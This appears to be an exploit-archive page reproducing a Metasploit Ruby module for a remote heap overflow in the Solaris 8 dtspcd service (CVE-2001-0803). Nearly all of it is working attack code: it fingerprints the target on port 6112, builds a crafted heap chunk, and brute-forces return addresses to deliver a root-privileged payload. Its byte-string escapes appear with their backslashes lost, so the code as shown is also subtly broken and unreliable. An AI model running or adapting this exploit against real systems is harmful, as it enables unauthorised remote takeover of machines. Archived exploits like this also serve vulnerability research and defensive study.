[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Solaris 8 dtspcd Heap Overflow
# Published : 2002-06-10
# Author : noir
# Previous Title : HP-UX LPD 10.20, 11.00, 11.11 Command Execution
# Next Title : WU-IMAP 2000.287(1-2) Remote Exploit
##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Solaris dtspcd Heap Overflow',
'Description' => %q{
This is a port of noir's dtspcd exploit. This module should
work against any vulnerable version of Solaris 8 (sparc).
The original exploit code was published in the book
Shellcoder's Handbook.
},
'Author' => [ 'noir <noir@uberhax0r.net>', 'hdm' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2001-0803'],
[ 'OSVDB', '4503'],
[ 'BID', '3517'],
[ 'URL', 'http://www.cert.org/advisories/CA-2001-31.html'],
[ 'URL', 'http://media.wiley.com/product_ancillary/83/07645446/DOWNLOAD/Source_Files.zip'],
],
'Privileged' => true,
'Payload' =>
{
'Space' => 800,
'BadChars' => "x00x0d",
'PrependEncoder' => ("xa4x1cx40x11" * 3),
},
'Platform' => 'solaris',
'Arch' => ARCH_SPARC,
'Targets' =>
[
['Solaris 8',
{ 'Rets' =>
[0xff3b0000, 0x2c000, 0x2f000, 0x400, [ 0x321b4, 0x361d8, 0x361e0, 0x381e8 ] ]
}
],
],
'DisclosureDate' => 'Jul 10 2002',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(6112)
], self.class)
end
def exploit
return if not dtspcd_uname()
target['Rets'][4].each do |tjmp|
rbase = target['Rets'][1]
while (rbase < target['Rets'][2]) do
break if session_created?
begin
print_status(sprintf("Trying 0x%.8x 0x%.8x...", target['Rets'][0] + tjmp, rbase))
attack(target['Rets'][0] + tjmp, rbase, payload.encoded)
break if session_created?
attack(target['Rets'][0] + tjmp, rbase + 4, payload.encoded)
rbase += target['Rets'][3]
rescue EOFError
end
end
end
handler
disconnect
end
def check
return Exploit::CheckCode::Detected if dtspcd_uname()
return Exploit::CheckCode::Safe
end
def dtspcd_uname
spc_connect()
spc_write(spc_register('root', "x00"), 4)
host, os, ver, arch = spc_read().gsub("x00", '').split(':')
return false if not host
print_status("Detected dtspcd running #{os} v#{ver} on #{arch} hardware")
spc_write("", 2)
return true
end
def chunk_create(retloc, retadd)
"x12x12x12x12" +
[retadd].pack('N')+
"x23x23x23x23xffxffxffxff" +
"x34x34x34x34x45x45x45x45" +
"x56x56x56x56" +
[retloc - 8].pack('N')
end
def attack(retloc, retadd, fcode)
spc_connect()
begin
buf = ("xa4x1cx40x11x20xbfxffxff" * ((4096 - 8 - fcode.length) / 8)) + fcode
buf << "x00x00x10x3ex00x00x00x14"
buf << "x12x12x12x12xffxffxffxff"
buf << "x00x00x0fxf4"
buf << chunk_create(retloc, retadd)
buf << "X" * ((0x103e - 8) - buf.length)
spc_write(spc_register("", buf), 4)
handler
rescue EOFError
rescue => e
$stderr.puts "Error: #{e} #{e.class}"
end
end
def spc_register(user='', buff='')
"4 x00#{user}x00x0010x00#{buff}"
end
def spc_write(buff = '', cmd='')
sock.put(sprintf("%08x%02x%04x%04x %s", 2, cmd, buff.length, (@spc_seq += 1), buff))
end
def spc_read
# Bytes: 0-9 = channel, 9-10 = cmd, 10-13 = mbl, 14-17 = seq
head = sock.get_once(20)
sock.get_once( head[10, 13].hex ) || ''
end
def spc_connect
disconnect
connect
@spc_seq = 0
end
end